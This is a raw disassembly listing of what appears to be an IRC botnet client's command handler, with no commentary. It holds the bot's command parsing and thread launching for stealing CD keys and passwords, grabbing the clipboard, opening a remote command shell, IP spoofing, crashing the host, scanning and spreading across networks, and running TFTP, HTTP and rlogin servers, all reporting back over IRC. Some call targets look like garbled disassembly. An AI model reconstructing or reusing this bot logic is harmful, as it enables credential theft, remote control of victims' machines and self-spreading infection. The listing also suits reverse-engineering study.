		push	offset aAliases	; "aliases"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aAl	; "al"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439E
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AB
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404292
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404258
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422D
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F3
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D0
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B2
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402A
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400D
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF4
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB5
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340A
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C1C4
		push	offset dword_42C1B8
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_40340A:				; CODE XREF: sub_401ACD+1923j
		push	edi
		push	offset dword_42C1B4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403527
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343E
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C1A0
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_40343E:				; CODE XREF: sub_401ACD+1955j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344C
; ---------------------------------------------------------------------------

loc_403449:				; CODE XREF: sub_401ACD+19CBj
		mov	eax, [ebp+arg_18]

loc_40344C:				; CODE XREF: sub_401ACD+197Aj
		cmp	[eax], bl
		jz	short loc_403453
		inc	eax
		jmp	short loc_403458
; ---------------------------------------------------------------------------

loc_403453:				; CODE XREF: sub_401ACD+1981j
		mov	eax, offset aEmpty ; "<Empty>"

loc_403458:				; CODE XREF: sub_401ACD+1984j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_403449
		push	offset unk_42C16C
		call	sub_4151AC
		pop	ecx

loc_4034A5:				; CODE XREF: sub_401ACD+1C5Aj
					; sub_401ACD+2F43j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF4
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A22
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C138
		push	eax
		mov	dword_4CE728, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4034FD:				; CODE XREF: sub_401ACD+3022j
		cmp	[ebp+var_8], ebx
		jnz	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72

loc_40351F:				; CODE XREF: sub_401ACD+7118j
		add	esp, 14h
		jmp	loc_409854
; ---------------------------------------------------------------------------

loc_403527:				; CODE XREF: sub_401ACD+194Cj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F74
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5D
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F25
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEB
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB0
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C24
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEA
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B3
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C090
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403692
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403692:				; CODE XREF: sub_401ACD+1BA7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------

loc_4036B3:				; CODE XREF: sub_401ACD+1B8Fj
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aSa	; "sa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E6
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403707
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		jmp	loc_401F52
; ---------------------------------------------------------------------------

loc_403707:				; CODE XREF: sub_401ACD+1C1Fj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372D
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A5

loc_40372D:				; CODE XREF: sub_401ACD+1C49j
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_42C020
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1A
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_4037D5

loc_4037BF:				; CODE XREF: sub_401ACD+1D06j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 2670EA1h
		nop
		jmp	short loc_4037BF
; ---------------------------------------------------------------------------

loc_4037D5:				; CODE XREF: sub_401ACD+1CF0j
		call	near ptr 2680835h
		nop
		push	eax
		push	offset unk_42BFE4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_4037E6:				; CODE XREF: sub_401ACD+1BF5j
					; sub_401ACD+1C0Aj
		mov	al, byte_4315EA
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4315EA
		jz	loc_401E94
		mov	ecx, edx

loc_4037FD:				; CODE XREF: sub_401ACD+1D38j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FD
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset aF	; "#f"

loc_403817:				; CODE XREF: sub_401ACD+2008j
		push	0Bh
		call	sub_40B33E
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403866
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BFA4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_403ACC
; ---------------------------------------------------------------------------

loc_403866:				; CODE XREF: sub_401ACD+1D64j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431408, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D7
		mov	edi, offset dword_431408

loc_40389B:				; CODE XREF: sub_401ACD+1DECj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BD
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389B
		jmp	short loc_4038D7
; ---------------------------------------------------------------------------

loc_4038BD:				; CODE XREF: sub_401ACD+1DE2j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431408[ecx]
		mov	[ebp+var_74C], ecx

loc_4038D7:				; CODE XREF: sub_401ACD+1DC7j
					; sub_401ACD+1DEEj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE0
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CAF18
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40397F

loc_40395D:				; CODE XREF: sub_401ACD+1EB0j
		cmp	eax, ebx
		jz	short loc_40397F
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395D

loc_40397F:				; CODE XREF: sub_401ACD+1E8Ej
					; sub_401ACD+1E92j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E1
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E7
; ---------------------------------------------------------------------------

loc_4039E1:				; CODE XREF: sub_401ACD+1EFFj
		mov	[ebp+var_7D0], bl

loc_4039E7:				; CODE XREF: sub_401ACD+1F12j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039F9
		mov	eax, offset aSequential	; "Sequential"

loc_4039F9:				; CODE XREF: sub_401ACD+1F25j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF24
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403A83

loc_403A71:				; CODE XREF: sub_401ACD+1FB4j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9E
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_403A71
; ---------------------------------------------------------------------------

loc_403A83:				; CODE XREF: sub_401ACD+1FA2j
		call	near ptr 2680835h
		nop
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BEE8
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_403A9E:				; CODE XREF: sub_401ACD+1FAAj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403ABF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403ABF:				; CODE XREF: sub_401ACD+1FD4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_403ACC:				; CODE XREF: sub_401ACD+1D94j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403817
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_403AE0:				; CODE XREF: sub_401ACD+1E10j
		push	offset unk_42BEB0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_403AEA:				; CODE XREF: sub_401ACD+1B65j
					; sub_401ACD+1B7Aj
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403B00
		push	offset unk_42BE90
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_403B00:				; CODE XREF: sub_401ACD+2027j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B23
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B37
; ---------------------------------------------------------------------------

loc_403B23:				; CODE XREF: sub_401ACD+203Cj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2670000h

loc_403B37:				; CODE XREF: sub_401ACD+2054j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B47
		mov	esi, offset byte_429108

loc_403B47:				; CODE XREF: sub_401ACD+2073j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_42BE5C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset word_411796
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403C13

loc_403BFD:				; CODE XREF: sub_401ACD+2144j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_403BFD
; ---------------------------------------------------------------------------

loc_403C13:				; CODE XREF: sub_401ACD+212Ej
		nop
		call	near ptr 2680835h
		push	eax
		push	offset unk_42BE20
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_403C24:				; CODE XREF: sub_401ACD+1B3Bj
					; sub_401ACD+1B50j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C43
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C48
; ---------------------------------------------------------------------------

loc_403C43:				; CODE XREF: sub_401ACD+2160j
					; sub_401ACD+216Bj
		mov	eax, dword_42907C

loc_403C48:				; CODE XREF: sub_401ACD+2174j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7B
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA6
; ---------------------------------------------------------------------------

loc_403C7B:				; CODE XREF: sub_401ACD+219Bj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		nop
		call	near ptr 2670A7Ah
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h

loc_403CA6:				; CODE XREF: sub_401ACD+21ACj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD1
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl

loc_403CD1:				; CODE XREF: sub_401ACD+21EEj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BDE4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403D85

loc_403D73:				; CODE XREF: sub_401ACD+22B6j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA0
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_403D73
; ---------------------------------------------------------------------------

loc_403D85:				; CODE XREF: sub_401ACD+22A4j
		nop
		call	near ptr 2680835h
		push	eax
		push	offset unk_42BDA8

loc_403D91:				; CODE XREF: sub_401ACD+2419j
					; sub_401ACD+4D04j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_403DA0:				; CODE XREF: sub_401ACD+22ACj
					; sub_401ACD+23FDj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	edi
		jmp	loc_407285
; ---------------------------------------------------------------------------

loc_403DB0:				; CODE XREF: sub_401ACD+1B11j
					; sub_401ACD+1B26j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DCF
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD4
; ---------------------------------------------------------------------------

loc_403DCF:				; CODE XREF: sub_401ACD+22ECj
					; sub_401ACD+22F7j
		mov	eax, dword_429080

loc_403DD4:				; CODE XREF: sub_401ACD+2300j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEB
		lea	eax, [ebp+var_C4]

loc_403DEB:				; CODE XREF: sub_401ACD+2316j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0D
		mov	esi, offset dword_43D128

loc_403E0D:				; CODE XREF: sub_401ACD+2339j
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BD6C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset byte_410A4D
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_403EDA

loc_403EC4:				; CODE XREF: sub_401ACD+240Bj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_403EC4
; ---------------------------------------------------------------------------

loc_403EDA:				; CODE XREF: sub_401ACD+23F5j
		nop
		call	near ptr 2680835h
		push	eax
		push	offset unk_42BD30
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_403EEB:				; CODE XREF: sub_401ACD+1AE7j
					; sub_401ACD+1AFCj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFE
		push	esi
		call	sub_41B779
		jmp	short loc_403F05
; ---------------------------------------------------------------------------

loc_403EFE:				; CODE XREF: sub_401ACD+2427j
		push	0Bh
		call	sub_40B35D

loc_403F05:				; CODE XREF: sub_401ACD+242Fj
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA56
		jmp	loc_4043B9
; ---------------------------------------------------------------------------

loc_403F25:				; CODE XREF: sub_401ACD+1ABDj
					; sub_401ACD+1AD2j
		mov	eax, dword_4CAE90
		cmp	eax, ebx
		jz	short loc_403F42
		call	eax
		test	eax, eax
		jz	short loc_403F3B
		push	offset unk_42BD0C
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F3B:				; CODE XREF: sub_401ACD+2465j
		push	offset unk_42BCE0
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F42:				; CODE XREF: sub_401ACD+245Fj
		push	offset unk_42BCB4

loc_403F47:				; CODE XREF: sub_401ACD+246Cj
					; sub_401ACD+2473j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDB
; ---------------------------------------------------------------------------

loc_403F5D:				; CODE XREF: sub_401ACD+1A93j
					; sub_401ACD+1AA8j
		call	sub_40AB31
		test	eax, eax
		jz	short loc_403F6D
		push	offset unk_42BC90
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F6D:				; CODE XREF: sub_401ACD+2497j
		push	offset unk_42BC64
		jmp	short loc_403F47
; ---------------------------------------------------------------------------

loc_403F74:				; CODE XREF: sub_401ACD+1A69j
					; sub_401ACD+1A7Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F93
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BC4C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_403F93:				; CODE XREF: sub_401ACD+24AAj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D6
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42BC30
		jmp	loc_404285
; ---------------------------------------------------------------------------

loc_403FB5:				; CODE XREF: sub_401ACD+18F9j
					; sub_401ACD+190Ej
		push	0Ah
		call	sub_40B33E
		test	eax, eax
		pop	ecx
